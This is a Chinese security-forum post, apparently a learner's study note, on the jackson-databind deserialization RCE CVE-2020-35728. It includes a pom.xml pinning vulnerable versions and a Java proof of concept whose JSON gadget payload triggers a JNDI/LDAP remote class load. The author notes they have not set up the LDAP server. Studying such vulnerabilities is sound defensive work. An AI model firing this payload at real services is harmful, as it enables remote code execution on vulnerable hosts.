安全矩阵

 找回密码
 立即注册
搜索
查看: 2035|回复: 0

jackson 代码执行 (CVE-2020-35728)(一刷)

[复制链接]

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
发表于 2021-10-30 15:45:32 | 显示全部楼层 |阅读模式
jackson 代码执行 (CVE-2020-35728)
描述: jackson-databind存在一处反序列化远程代码执行漏洞(CVE-2020-35728),该漏洞是由于com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool组件库存在不安全的反序列化,导致攻击者可以利用漏洞实现远程代码执行。 路径Jacksondatabind/attack

目前受影响的Jackson-databind版本:
Jackson-databind 2.0.0 - 2.9.10.7

漏洞原理:
FFasterXML/jackson-databind是一个用于JSON和对象转换的Java第三方库,可将Java对象转换成json对象和xml文档,同样也可将json对象转换成Java对象。
        2.9.10.8之前的FasterXML jackson-databind 2.x对序列化小工具和打字之间的交互处理不当,与com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool(也就是org.glassfish.web/javax.servlet.jsp.jstl中的嵌入式Xalan)有关。
        此次漏洞中攻击者可利用xbean-reflect的利用链触发JNDI远程类加载从而达到远程代码执行。
pom.xml
<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>
    <groupId>com.jacksonTest</groupId>    <artifactId>jacksonTest</artifactId>    <version>1.0-SNAPSHOT</version>    <dependencies>        <dependency>            <groupId>com.fasterxml.jackson.core</groupId>            <artifactId>jackson-databind</artifactId>            <version>2.9.10.7</version>        </dependency>        <!-- https://mvnrepository.com/artifa ... ta.servlet.jsp.jstl -->        <dependency>            <groupId>org.glassfish.web</groupId>            <artifactId>jakarta.servlet.jsp.jstl</artifactId>            <version>2.0.0</version>        </dependency>

        <dependency>            <groupId>org.slf4j</groupId>            <artifactId>slf4j-nop</artifactId>            <version>1.7.2</version>        </dependency>        <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->        <dependency>            <groupId>javax.transaction</groupId>            <artifactId>jta</artifactId>            <version>1.1</version>        </dependency>    </dependencies></project>
poc.java
import com.fasterxml.jackson.databind.ObjectMapper;
public class POC {    public static void main(String[] args) throws Exception {        String payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://127.0.0.1:1088/Exploit\"}]";        ObjectMapper mapper = new ObjectMapper();        mapper.enableDefaultTyping();        Object obj = mapper.readValue(payload, Object.class);        mapper.writeValueAsString(obj);    }}
上面那个ip/目录还不知道该怎么配置,毕竟这里用的是 路径Jacksondatabind/attack
不知道有没有关联。
待学好java再来试试



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 18:44 , Processed in 0.015114 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表